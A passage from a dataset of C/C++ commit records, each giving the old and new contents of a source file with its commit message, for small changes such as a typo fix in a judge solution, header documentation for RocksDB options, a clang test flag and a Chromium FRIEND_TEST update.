\"net\/spdy\/platform\/impl\/spdy_bug_tracker_impl.h\"\n\n#define SPDY_BUG SPDY_BUG_IMPL\n#define SPDY_BUG_IF(bug_id, condition) SPDY_BUG_IF_IMPL(bug_id, condition)\n\n\/\/ V2 macros are the same as all the SPDY_BUG flavor above, but they take a\n\/\/ bug_id parameter.\n#define SPDY_BUG_V2 SPDY_BUG_V2_IMPL\n#define SPDY_BUG_IF_V2 SPDY_BUG_IF_V2_IMPL\n\n#define FLAGS_spdy_always_log_bugs_for_tests \\\n  FLAGS_spdy_always_log_bugs_for_tests_impl\n\n#endif  \/\/ QUICHE_SPDY_PLATFORM_API_SPDY_BUG_TRACKER_H_\n","subject":"Modify old-style derived GFE_BUG macros to have IDs.","message":"Modify old-style derived GFE_BUG macros to have IDs.\n\nUsage of the macros was replaced by V2 set of macros. Context: go\/gfe-bug-improvements. Now that everything was migrated to V2, we are updating V1 macros and will updated everything back to drop the V2 suffix.\n\nGFE_BUG macros were changed in cl\/362922435\nSPDY_BUG macros were changed in cl\/363160900, but one was missed. This CL corrects it.\n\nPiperOrigin-RevId: 363240499\nChange-Id: I77b4932e8e47bfef2f34000c0f5984e0a3b6ce45\n","lang":"C","license":"bsd-3-clause","repos":"google\/quiche,google\/quiche,google\/quiche,google\/quiche"}
{"commit":"264e4c4d0199d1955ea0852c86b10a58bb234cce","old_file":"src\/uri_judge\/begginer\/1012_area.c","new_file":"src\/uri_judge\/begginer\/1012_area.c","old_contents":"\/*\nhttps:\/\/www.urionlinejudge.com.br\/judge\/en\/problems\/view\/1012\n*\/\n\n#include <stdio.h>\n\nint main(){\n\n    const double PI = 3.14159;\n\n    double a, b, c;\n\n    scanf(\"%lf %lf %lf\", &a, &b, &c);\n\n    \/* the area of the rectangled triangle that has base A and height C\n    A = (base * height) \/ 2\n    *\/\n    printf(\"TRIANGULO = %.3lf\\n\", (a*c)\/2);\n\n    \/* the area of the radius's circle C. (pi = 3.14159)\n    A = PI * radius\n    *\/\n    printf(\"CIRCULO = %.3lf\\n\", PI*c*c);\n\n    \/* the area of the trapezium which has A and B by base, and C by height\n    A = ((larger base + minor base) * height) \/ 2\n    *\/\n    printf(\"TRAPEZIO = %.3lf\\n\", ((a+b)*c)\/2);\n\n    \/* the area of ​​the square that has side B\n    A = side^2\n    *\/\n    printf(\"QUADRADO = %.3lf\\n\", b*b);\n\n    \/* the area of the rectangle that has sides A and B\n    A = base * height\n    *\/\n    printf(\"RETANGULO = %.3lf\\n\", a*b);\n\n    return 0;\n}\n","new_contents":"\/*\nhttps:\/\/www.urionlinejudge.com.br\/judge\/en\/problems\/view\/1012\n*\/\n\n#include <stdio.h>\n\nint main(){\n\n    const double PI = 3.14159;\n\n    double a, b, c;\n\n    scanf(\"%lf %lf %lf\", &a, &b, &c);\n\n    \/* the area of the rectangled triangle that has base A and height C\n    A = (base * height) \/ 2\n    *\/\n    printf(\"TRIANGULO: %.3lf\\n\", (a*c)\/2);\n\n    \/* the area of the radius's circle C. (pi = 3.14159)\n    A = PI * radius\n    *\/\n    printf(\"CIRCULO: %.3lf\\n\", PI*c*c);\n\n    \/* the area of the trapezium which has A and B by base, and C by height\n    A = ((larger base + minor base) * height) \/ 2\n    *\/\n    printf(\"TRAPEZIO: %.3lf\\n\", ((a+b)*c)\/2);\n\n    \/* the area of ​​the square that has side B\n    A = side^2\n    *\/\n    printf(\"QUADRADO: %.3lf\\n\", b*b);\n\n    \/* the area of the rectangle that has sides A and B\n    A = base * height\n    *\/\n    printf(\"RETANGULO: %.3lf\\n\", a*b);\n\n    return 0;\n}\n","subject":"Update 1012 (Fix a typo)","message":"Update 1012 (Fix a typo)\n\n: instead of =","lang":"C","license":"unknown","repos":"Mazuh\/Algs,Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/Algs,Mazuh\/MISC-Algs,Mazuh\/MISC-Algs,Mazuh\/Algs"}
{"commit":"43c7a45566e6df0bcde37dca4d5d11f68330e833","old_file":"ObjectiveRocks\/RocksDBPlainTableOptions.h","new_file":"ObjectiveRocks\/RocksDBPlainTableOptions.h","old_contents":"\/\/\n\/\/  RocksDBPlainTableOptions.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 04\/01\/15.\n\/\/  Copyright (c) 2015 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef NS_ENUM(char, PlainTableEncodingType)\n{\n\tPlainTableEncodingPlain,\n\tPlainTableEncodingPrefix\n};\n\n@interface RocksDBPlainTableOptions : NSObject\n\n@property (nonatomic, assign) uint32_t userKeyLen;\n@property (nonatomic, assign) int bloomBitsPerKey;\n@property (nonatomic, assign) double hashTableRatio;\n@property (nonatomic, assign) size_t indexSparseness;\n@property (nonatomic, assign) size_t hugePageTlbSize;\n@property (nonatomic, assign) PlainTableEncodingType encodingType;\n@property (nonatomic, assign) BOOL fullScanMode;\n@property (nonatomic, assign) BOOL storeIndexInFile;\n\n@end\n","new_contents":"\/\/\n\/\/  RocksDBPlainTableOptions.h\n\/\/  ObjectiveRocks\n\/\/\n\/\/  Created by Iska on 04\/01\/15.\n\/\/  Copyright (c) 2015 BrainCookie. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\ntypedef NS_ENUM(char, PlainTableEncodingType)\n{\n\tPlainTableEncodingPlain,\n\tPlainTableEncodingPrefix\n};\n\n@interface RocksDBPlainTableOptions : NSObject\n\n\n\/**\n @brief\n  Plain table has optimization for fix-sized keys, which can\n  be specified via userKeyLen.\n *\/\n@property (nonatomic, assign) uint32_t userKeyLen;\n\n\/**\n @brief\n  The number of bits used for bloom filer per prefix.\n  To disable it pass a zero.\n *\/\n@property (nonatomic, assign) int bloomBitsPerKey;\n\n\/**\n @brief\n  The desired utilization of the hash table used for prefix hashing.\n  `hashTableRatio` = number of prefixes \/ #buckets in the hash table.\n *\/\n@property (nonatomic, assign) double hashTableRatio;\n\n\/**\n @brief\n  Used to build one index record inside each prefix for the number of\n  keys for the binary search inside each hash bucket.\n *\/\n@property (nonatomic, assign) size_t indexSparseness;\n\n\/**\n @brief\n  Huge page TLB size. The user needs to reserve huge pages \n  for it to be allocated, like:\n  `sysctl -w vm.nr_hugepages=20`\n *\/\n@property (nonatomic, assign) size_t hugePageTlbSize;\n\n\/**\n @brief\n  Encoding type for the keys. The value will determine how to encode keys\n  when writing to a new SST file.\n *\/\n@property (nonatomic, assign) PlainTableEncodingType encodingType;\n\n\/**\n @brief\n  Mode for reading the whole file one record by one without using the index.\n *\/\n@property (nonatomic, assign) BOOL fullScanMode;\n\n\/**\n @brief\n  Compute plain table index and bloom filter during file building and store\n  it in file. When reading file, index will be mmaped instead of recomputation.\n *\/\n@property (nonatomic, assign) BOOL storeIndexInFile;\n\n@end\n","subject":"Add source code documentation for the RocksDB Plain Table Options class","message":"Add source code documentation for the RocksDB Plain Table Options class\n","lang":"C","license":"mit","repos":"iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks,iabudiab\/ObjectiveRocks"}
{"commit":"79f3caa5fe3a30902951ce6f72a5caca278a46c7","old_file":"test\/Driver\/elfiamcu-header-search.c","new_file":"test\/Driver\/elfiamcu-header-search.c","old_contents":"\/\/ REQUIRES: x86-registered-target\n\n\/\/ RUN: %clang -target i386-pc-elfiamcu -c -v %s 2>&1 | FileCheck %s\n\/\/ CHECK-NOT: \/usr\/include\n\/\/ CHECK-NOT: \/usr\/local\/include\n\n","new_contents":"\/\/ REQUIRES: x86-registered-target\n\n\/\/ RUN: %clang -target i386-pc-elfiamcu -c -v -fsyntax-only %s 2>&1 | FileCheck %s\n\/\/ CHECK-NOT: \/usr\/include\n\/\/ CHECK-NOT: \/usr\/local\/include\n\n","subject":"Add -fsyntax-only to fix failure in read-only directories.","message":"Add -fsyntax-only to fix failure in read-only directories.\n\nInternally, this test is executed in a read-only directory, which causes\nit to fail because the driver tries to generate a file unnecessarily.\nAdding -fsyntax-only fixes the issue (thanks to Artem Belevich for\nfiguring out the root cause).\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@255809 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"21198b75ca5bb408bd77a54232418b8aef8ce8dc","old_file":"src\/x11-simple.c","new_file":"src\/x11-simple.c","old_contents":"\/\/ mruby libraries\n#include \"mruby.h\"\n#include \"mruby\/array.h\"\n#include \"mruby\/data.h\"\n#include \"mruby\/string.h\"\n\n#include <X11\/Xlib.h>\n\nmrb_value x11_simple_test(mrb_state* mrb, mrb_value self)\n{\n  Display *dpy = XOpenDisplay(NULL);\n  Window win = XCreateSimpleWindow(dpy, DefaultRootWindow(dpy), 0, 0, 256, 256, 0, 0, 0);\n  XMapWindow(dpy, win);\n  XFlush(dpy);\n  while(1);\n  return mrb_nil_value();\n}\n\n\/\/ initializer\nvoid mrb_mruby_x11_simple_gem_init(mrb_state* mrb)\n{\n  struct RClass* rclass = mrb_define_module(mrb, \"X11\");\n  mrb_define_class_method(mrb, rclass, \"test\", x11_simple_test, ARGS_NONE());\n  return;\n}\n\n\/\/ finalizer\nvoid mrb_mruby_x11_simple_gem_final(mrb_state* mrb)\n{\n  return;\n}\n\n","new_contents":"\/\/ mruby libraries\n#include \"mruby.h\"\n#include \"mruby\/array.h\"\n#include \"mruby\/data.h\"\n#include \"mruby\/string.h\"\n\n#include <X11\/Xlib.h>\n\nmrb_value x11_simple_test(mrb_state* mrb, mrb_value self)\n{\n  Display* dpy = XOpenDisplay(NULL);\n  Window* win = mrb_malloc(mrb, sizeof(Window));\n  *win = XCreateSimpleWindow(dpy, DefaultRootWindow(dpy), 0, 0, 256, 256, 0, 0, 0);\n  XMapWindow(dpy, *win);\n  XFlush(dpy);\n  return mrb_fixnum_value((int)win);\n}\n\n\/\/ initializer\nvoid mrb_mruby_x11_simple_gem_init(mrb_state* mrb)\n{\n  struct RClass* rclass = mrb_define_module(mrb, \"X11\");\n  mrb_define_class_method(mrb, rclass, \"test\", x11_simple_test, ARGS_NONE());\n  return;\n}\n\n\/\/ finalizer\nvoid mrb_mruby_x11_simple_gem_final(mrb_state* mrb)\n{\n  return;\n}\n\n","subject":"Return an adress of Window object.","message":"Return an adress of Window object.\n","lang":"C","license":"mit","repos":"dyama\/mruby-x11-simple,dyama\/mruby-x11-simple"}
{"commit":"18b04d4b62673f6da70d845a8904096e422acb20","old_file":"src\/plugins\/qmldesigner\/designercore\/filemanager\/qmlwarningdialog.h","new_file":"src\/plugins\/qmldesigner\/designercore\/filemanager\/qmlwarningdialog.h","old_contents":"#ifndef QMLWARNINGDIALOG_H\n#define QMLWARNINGDIALOG_H\n\n#include <QDialog>\n\nnamespace Ui {\n    class QmlWarningDialog;\n}\n\nnamespace QmlDesigner {\n\nnamespace Internal {\n\nclass QmlWarningDialog : public QDialog\n{\n    Q_OBJECT\n\npublic:\n    explicit QmlWarningDialog(QWidget *parent, const QStringList &warnings);\n    ~QmlWarningDialog();\n\n    bool warningsEnabled() const;\n\npublic slots:\n    void ignoreButtonPressed();\n    void okButtonPressed();\n    void checkBoxToggled(bool);\n    void linkClicked(const QString &link);\n\nprivate:\n    Ui::QmlWarningDialog *ui;\n    const QStringList m_warnings;\n};\n\n} \/\/Internal\n\n} \/\/QmlDesigner\n\n#endif \/\/ QMLWARNINGDIALOG_H\n","new_contents":"#ifndef QMLWARNINGDIALOG_H\n#define QMLWARNINGDIALOG_H\n\n#include <QDialog>\n\nQT_BEGIN_NAMESPACE\nnamespace Ui {\n    class QmlWarningDialog;\n}\nQT_END_NAMESPACE\n\nnamespace QmlDesigner {\n\nnamespace Internal {\n\nclass QmlWarningDialog : public QDialog\n{\n    Q_OBJECT\n\npublic:\n    explicit QmlWarningDialog(QWidget *parent, const QStringList &warnings);\n    ~QmlWarningDialog();\n\n    bool warningsEnabled() const;\n\npublic slots:\n    void ignoreButtonPressed();\n    void okButtonPressed();\n    void checkBoxToggled(bool);\n    void linkClicked(const QString &link);\n\nprivate:\n    Ui::QmlWarningDialog *ui;\n    const QStringList m_warnings;\n};\n\n} \/\/Internal\n\n} \/\/QmlDesigner\n\n#endif \/\/ QMLWARNINGDIALOG_H\n","subject":"Fix compilation with namespaced Qt.","message":"QmlDesigner: Fix compilation with namespaced Qt.\n\nChange-Id: I4de7ae4391f57f4c7eac4e5e8b057b8365ca42c9\nReviewed-by: Thomas Hartmann <588ee739c05aab7547907becfd1420d2b7316069@digia.com>\n","lang":"C","license":"lgpl-2.1","repos":"amyvmiwei\/qt-creator,kuba1\/qtcreator,omniacreator\/qtcreator,Distrotech\/qtcreator,martyone\/sailfish-qtcreator,xianian\/qt-creator,colede\/qtcreator,maui-packages\/qt-creator,amyvmiwei\/qt-creator,maui-packages\/qt-creator,colede\/qtcreator,omniacreator\/qtcreator,martyone\/sailfish-qtcreator,farseerri\/git_code,omniacreator\/qtcreator,AltarBeastiful\/qt-creator,xianian\/qt-creator,farseerri\/git_code,amyvmiwei\/qt-creator,omniacreator\/qtcreator,duythanhphan\/qt-creator,martyone\/sailfish-qtcreator,farseerri\/git_code,danimo\/qt-creator,xianian\/qt-creator,xianian\/qt-creator,richardmg\/qtcreator,farseerri\/git_code,kuba1\/qtcreator,Distrotech\/qtcreator,AltarBeastiful\/qt-creator,AltarBeastiful\/qt-creator,darksylinc\/qt-creator,malikcjm\/qtcreator,kuba1\/qtcreator,kuba1\/qtcreator,danimo\/qt-creator,AltarBeastiful\/qt-creator,colede\/qtcreator,duythanhphan\/qt-creator,AltarBeastiful\/qt-creator,malikcjm\/qtcreator,duythanhphan\/qt-creator,martyone\/sailfish-qtcreator,AltarBeastiful\/qt-creator,omniacreator\/qtcreator,Distrotech\/qtcreator,darksylinc\/qt-creator,duythanhphan\/qt-creator,maui-packages\/qt-creator,kuba1\/qtcreator,kuba1\/qtcreator,duythanhphan\/qt-creator,kuba1\/qtcreator,martyone\/sailfish-qtcreator,maui-packages\/qt-creator,farseerri\/git_code,amyvmiwei\/qt-creator,xianian\/qt-creator,darksylinc\/qt-creator,darksylinc\/qt-creator,martyone\/sailfish-qtcreator,darksylinc\/qt-creator,xianian\/qt-creator,AltarBeastiful\/qt-creator,Distrotech\/qtcreator,danimo\/qt-creator,danimo\/qt-creator,danimo\/qt-creator,maui-packages\/qt-creator,malikcjm\/qtcreator,richardmg\/qtcreator,omniacreator\/qtcreator,darksylinc\/qt-creator,Distrotech\/qtcreator,farseerri\/git_code,martyone\/sailfish-qtcreator,maui-packages\/qt-creator,colede\/qtcreator,duythanhphan\/qt-creator,richardmg\/qtcreator,amyvmiwei\/qt-creator,darksylinc\/qt-creator,AltarBeastiful\/qt-creator,xianian\/qt-creator,kuba1\/qtcreator,richardmg\/qtcreator,amyvmiwei\/qt-creator,malikcjm\/qtcreator,colede\/qtcreator,xianian\/qt-creator,amyvmiwei\/qt-creator,farseerri\/git_code,colede\/qtcreator,danimo\/qt-creator,malikcjm\/qtcreator,colede\/qtcreator,Distrotech\/qtcreator,darksylinc\/qt-creator,amyvmiwei\/qt-creator,danimo\/qt-creator,duythanhphan\/qt-creator,richardmg\/qtcreator,maui-packages\/qt-creator,richardmg\/qtcreator,malikcjm\/qtcreator,danimo\/qt-creator,martyone\/sailfish-qtcreator,richardmg\/qtcreator,danimo\/qt-creator,omniacreator\/qtcreator,malikcjm\/qtcreator,farseerri\/git_code,kuba1\/qtcreator,xianian\/qt-creator,martyone\/sailfish-qtcreator,Distrotech\/qtcreator"}
{"commit":"559165da4052bd5df6e4635182ee9429b5221fd0","old_file":"core\/privatepointer.h","new_file":"core\/privatepointer.h","old_contents":"","new_contents":"\/*\n * This file is part of the Gluon Development Platform\n * Copyright (c) 2014 Arjen Hiemstra <ahiemstra@heimr.nl>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA\n *\n *\/\n\n#ifndef GLUONCORE_PRIVATEPOINTER_H\n#define GLUONCORE_PRIVATEPOINTER_H\n\n#include <memory>\n\nnamespace GluonCore\n{\n    template < typename T >\n    class PrivatePointer\n    {\n        public:\n            PrivatePointer() : p{ new T{} } { }\n            template < typename... Args >\n            explicit PrivatePointer( Args&& ... args ) : p{ std::forward< Args >( args ) ... }  { }\n\n            PrivatePointer( const PrivatePointer< T >&& other ) { p = other.p; }\n            PrivatePointer< T >& operator=( const PrivatePointer< T >&& other ) { p = other.p; return *this; }\n\n            inline const T* operator->() const { return p.get(); }\n            inline T* operator->() { return p.get(); }\n\n        private:\n            std::unique_ptr< T > p;\n    };\n}\n\n#define GLUON_PRIVATE_POINTER \\\nprivate:\\\n    class Private;\\\n    GluonCore::PrivatePointer< Private > d;\n\n#endif \/\/GLUONCORE_PRIVATEPOINTER_H","subject":"Add a convenience template for private pointers.","message":"core: Add a convenience template for private pointers.\n","lang":"C","license":"lgpl-2.1","repos":"KDE\/gluon,KDE\/gluon,KDE\/gluon,KDE\/gluon"}
{"commit":"db648cdab35a2a72efa23bc4c417225f09e9d511","old_file":"stm32f1-nrf24l01-transmitter\/firmware\/protocol_hk310.c","new_file":"stm32f1-nrf24l01-transmitter\/firmware\/protocol_hk310.c","old_contents":"#include <systick.h>\n#include <protocol_hk310.h>\n\n#define FRAME_TIME 5        \/\/ 1 frame every 5 ms\n\n\n\/\/ ****************************************************************************\nstatic void protocol_frame_callback(void)\n{\n    systick_set_callback(protocol_frame_callback, FRAME_TIME);\n}\n\n\n\/\/ ****************************************************************************\nvoid init_protocol_hk310(void)\n{\n    systick_set_callback(protocol_frame_callback, FRAME_TIME);\n}\n\n\n\n","new_contents":"#include <systick.h>\n#include <protocol_hk310.h>\n\n#define FRAME_TIME 5        \/\/ One frame every 5 ms\n\n\ntypedef enum {\n    SEND_STICK1 = 0,\n    SEND_STICK2,\n    SEND_BIND_INFO,\n    SEND_PROGRAMBOX\n} frame_state_t;\n\nstatic frame_state_t frame_state;\n\n\n\/\/ ****************************************************************************\nstatic void send_stick_data(void)\n{\n\n}\n\n\n\/\/ ****************************************************************************\nstatic void send_binding_data(void)\n{\n\n}\n\n\n\/\/ ****************************************************************************\nstatic void send_programming_box_data(void)\n{\n\n}\n\n\n\n\/\/ ****************************************************************************\nstatic void nrf_transmit_done_callback(void)\n{\n    switch (frame_state) {\n        case SEND_STICK1:\n            send_stick_data();\n            frame_state = SEND_BIND_INFO;\n            break;\n\n        case SEND_STICK2:\n            send_stick_data();\n            frame_state = SEND_BIND_INFO;\n            break;\n\n        case SEND_BIND_INFO:\n            send_binding_data();\n            frame_state = SEND_PROGRAMBOX;\n            break;\n\n        case SEND_PROGRAMBOX:\n            send_programming_box_data();\n            frame_state = SEND_STICK1;\n            break;\n\n        default:\n            break;\n    }\n}\n\n\n\/\/ ****************************************************************************\nstatic void protocol_frame_callback(void)\n{\n    systick_set_callback(protocol_frame_callback, FRAME_TIME);\n    frame_state = SEND_STICK1;\n    nrf_transmit_done_callback();\n}\n\n\n\/\/ ****************************************************************************\nvoid init_protocol_hk310(void)\n{\n    systick_set_callback(protocol_frame_callback, FRAME_TIME);\n}\n\n\n","subject":"Build skeleton for nRF frames","message":"Build skeleton for nRF frames\n","lang":"C","license":"unlicense","repos":"laneboysrc\/nrf24l01-rc,laneboysrc\/nrf24l01-rc,laneboysrc\/nrf24l01-rc"}
{"commit":"09b3de7c00db1e4ec464e50a6459352be4b610d1","old_file":"src\/WalkerException.h","new_file":"src\/WalkerException.h","old_contents":"#ifndef _WALKEREXCEPTION_H\n#define _WALKEREXCEPTION_H\n\n#include <string>\n\n\/\/! (base) class for exceptions in uvok\/WikiWalker\nclass WalkerException : public std::exception\n{\npublic:\n    \/*! Create a Walker exception with a message.\n     *\n     * Message might be shown on exception occurring, depending on\n     * the compiler.\n     *\n     * \\param exmessage The exception message.\n     *\/\n    WalkerException(std::string exmessage)\n        : message(exmessage) {}\n\n    virtual ~WalkerException() throw() {}\n\n    \/\/! get exception message\n    const char* what() const throw()\n    {\n        return message.c_str();\n    }\n\nprivate:\n    std::string message;\n};\n\n#endif \/\/ _WALKEREXCEPTION_H\n","new_contents":"#ifndef _WALKEREXCEPTION_H\n#define _WALKEREXCEPTION_H\n\n#include <string>\n\n\/\/! (base) class for exceptions in uvok\/WikiWalker\nclass WalkerException : public std::exception\n{\npublic:\n    \/*! Create a Walker exception with a message.\n     *\n     * Message might be shown on exception occurring, depending on\n     * the compiler.\n     *\n     * \\param exmessage The exception message.\n     *\/\n    WalkerException(std::string exmessage)\n        : message(exmessage) {}\n\n    virtual ~WalkerException() throw() {}\n\n    \/\/! get exception message\n    const char* what() const noexcept\n    {\n        return message.c_str();\n    }\n\nprivate:\n    std::string message;\n};\n\n#endif \/\/ _WALKEREXCEPTION_H\n","subject":"Use noexcept insead of throw() for what()","message":"Use noexcept insead of throw() for what()\n","lang":"C","license":"mit","repos":"dueringa\/WikiWalker"}
{"commit":"4472010345dc2a46051887669ad2c7c7a6eccc3b","old_file":"chrome\/browser\/printing\/print_dialog_cloud.h","new_file":"chrome\/browser\/printing\/print_dialog_cloud.h","old_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_PRINTING_PRINT_DIALOG_CLOUD_H_\n#define CHROME_BROWSER_PRINTING_PRINT_DIALOG_CLOUD_H_\n\n#include \"base\/basictypes.h\"\n\n#include \"testing\/gtest\/include\/gtest\/gtest_prod.h\"\n\nclass Browser;\nclass FilePath;\nnamespace IPC {\nclass Message;\n}\n\nclass PrintDialogCloud {\n public:\n  \/\/ Called on the IO thread.\n  static void CreatePrintDialogForPdf(const FilePath& path_to_pdf);\n\n private:\n  FRIEND_TEST(PrintDialogCloudTest, HandlersRegistered);\n\n  explicit PrintDialogCloud(const FilePath& path_to_pdf);\n  ~PrintDialogCloud();\n\n  \/\/ Called as a task from the UI thread, creates an object instance\n  \/\/ to run the HTML\/JS based print dialog for printing through the cloud.\n  static void CreateDialogImpl(const FilePath& path_to_pdf);\n\n  Browser* browser_;\n\n  DISALLOW_COPY_AND_ASSIGN(PrintDialogCloud);\n};\n\n#endif  \/\/ CHROME_BROWSER_PRINTING_PRINT_DIALOG_CLOUD_H_\n","new_contents":"\/\/ Copyright (c) 2010 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_PRINTING_PRINT_DIALOG_CLOUD_H_\n#define CHROME_BROWSER_PRINTING_PRINT_DIALOG_CLOUD_H_\n\n#include \"base\/basictypes.h\"\n\n#include \"testing\/gtest\/include\/gtest\/gtest_prod.h\"\n\nclass Browser;\nclass FilePath;\nnamespace IPC {\nclass Message;\n}\n\nclass PrintDialogCloud {\n public:\n  \/\/ Called on the IO thread.\n  static void CreatePrintDialogForPdf(const FilePath& path_to_pdf);\n\n private:\n  FRIEND_TEST(PrintDialogCloudTest, HandlersRegistered);\n  FRIEND_TEST(PrintDialogCloudTest, DISABLED_HandlersRegistered);\n\n  explicit PrintDialogCloud(const FilePath& path_to_pdf);\n  ~PrintDialogCloud();\n\n  \/\/ Called as a task from the UI thread, creates an object instance\n  \/\/ to run the HTML\/JS based print dialog for printing through the cloud.\n  static void CreateDialogImpl(const FilePath& path_to_pdf);\n\n  Browser* browser_;\n\n  DISALLOW_COPY_AND_ASSIGN(PrintDialogCloud);\n};\n\n#endif  \/\/ CHROME_BROWSER_PRINTING_PRINT_DIALOG_CLOUD_H_\n","subject":"Fix the build by updating FRIEND_TEST line.","message":"Fix the build by updating FRIEND_TEST line.\n\nTBR=maruel\n\nBUG=44547\n\nReview URL: http:\/\/codereview.chromium.org\/2083013\n\ngit-svn-id: http:\/\/src.chromium.org\/svn\/trunk\/src@47646 4ff67af0-8c30-449e-8e8b-ad334ec8d88c\n\nFormer-commit-id: b756479cc600c3c5ca9c0ab66c4d59e98afcb34d","lang":"C","license":"bsd-3-clause","repos":"meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser,meego-tablet-ux\/meego-app-browser"}
{"commit":"f846021291546acc3f6899d00c6ca60003baa371","old_file":"solutions\/uri\/1019\/1019.c","new_file":"solutions\/uri\/1019\/1019.c","old_contents":"","new_contents":"#include <stdio.h>\n\nint main() {\n    int t, h = 0, m = 0;\n\n    while (scanf(\"%d\", &t) != EOF) {\n        if (t >= 60 * 60) {\n            h = t \/ (60 * 60);\n            t %= (60 * 60);\n        }\n        if (t >= 60) {\n            m = t \/ 60;\n            t %= 60;\n        }\n\n        printf(\"%d:%d:%d\\n\", h, m, t);\n        h = 0, m = 0;\n    }\n\n    return 0;\n}\n","subject":"Solve Time Conversion in c","message":"Solve Time Conversion in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"}
{"commit":"d143e1c7afb2c24af593c36272c6542eb9a3bbc7","old_file":"raster\/buffer_view.h","new_file":"raster\/buffer_view.h","old_contents":"\/\/ Raster Library\n\/\/ Copyright (C) 2015 David Capello\n\n#ifndef RASTER_BUFFER_VIEW_INCLUDED_H\n#define RASTER_BUFFER_VIEW_INCLUDED_H\n#pragma once\n\n#include <cassert>\n#include <cstdint>\n#include <vector>\n\n#include \"raster\/image_spec.h\"\n\nnamespace raster {\n\n  \/\/ Wrapper for an array of bytes. It doesn't own the data.\n  class buffer_view {\n  public:\n    typedef uint8_t value_type;\n    typedef value_type* pointer;\n    typedef value_type& reference;\n\n    buffer_view(size_t size, pointer data)\n      : m_size(size)\n      , m_data(data) {\n    }\n\n    template<typename T>\n    buffer_view(std::vector<T>& vector)\n      : m_size(vector.size())\n      , m_data(&vector[0]) {\n    }\n\n    size_t size() const { return m_size; }\n    pointer begin() { return m_data; }\n    pointer end() { return m_data+m_size; }\n    const pointer begin() const { return m_data; }\n    const pointer end() const { return m_data+m_size; }\n\n    reference operator[](int i) const {\n      assert(i >= 0 && i < int(m_size));\n      return m_data[i];\n    }\n\n  private:\n    size_t m_size;\n    pointer m_data;\n  };\n\n} \/\/ namespace raster\n\n#endif\n","new_contents":"\/\/ Raster Library\n\/\/ Copyright (C) 2015-2016 David Capello\n\n#ifndef RASTER_BUFFER_VIEW_INCLUDED_H\n#define RASTER_BUFFER_VIEW_INCLUDED_H\n#pragma once\n\n#include <cassert>\n#include <cstddef>\n#include <cstdint>\n#include <vector>\n\n#include \"raster\/image_spec.h\"\n\nnamespace raster {\n\n  \/\/ Wrapper for an array of bytes. It doesn't own the data.\n  class buffer_view {\n  public:\n    typedef std::uint8_t value_type;\n    typedef value_type* pointer;\n    typedef value_type& reference;\n\n    buffer_view(std::size_t size, pointer data)\n      : m_size(size)\n      , m_data(data) {\n    }\n\n    template<typename T>\n    buffer_view(std::vector<T>& vector)\n      : m_size(vector.size())\n      , m_data(&vector[0]) {\n    }\n\n    std::size_t size() const { return m_size; }\n    pointer begin() { return m_data; }\n    pointer end() { return m_data+m_size; }\n    const pointer begin() const { return m_data; }\n    const pointer end() const { return m_data+m_size; }\n\n    reference operator[](int i) const {\n      assert(i >= 0 && i < int(m_size));\n      return m_data[i];\n    }\n\n  private:\n    size_t m_size;\n    pointer m_data;\n  };\n\n} \/\/ namespace raster\n\n#endif\n","subject":"Add std:: namespace to int types","message":"Add std:: namespace to int types\n","lang":"C","license":"mit","repos":"aseprite\/raster,dacap\/raster,dacap\/raster,aseprite\/raster"}
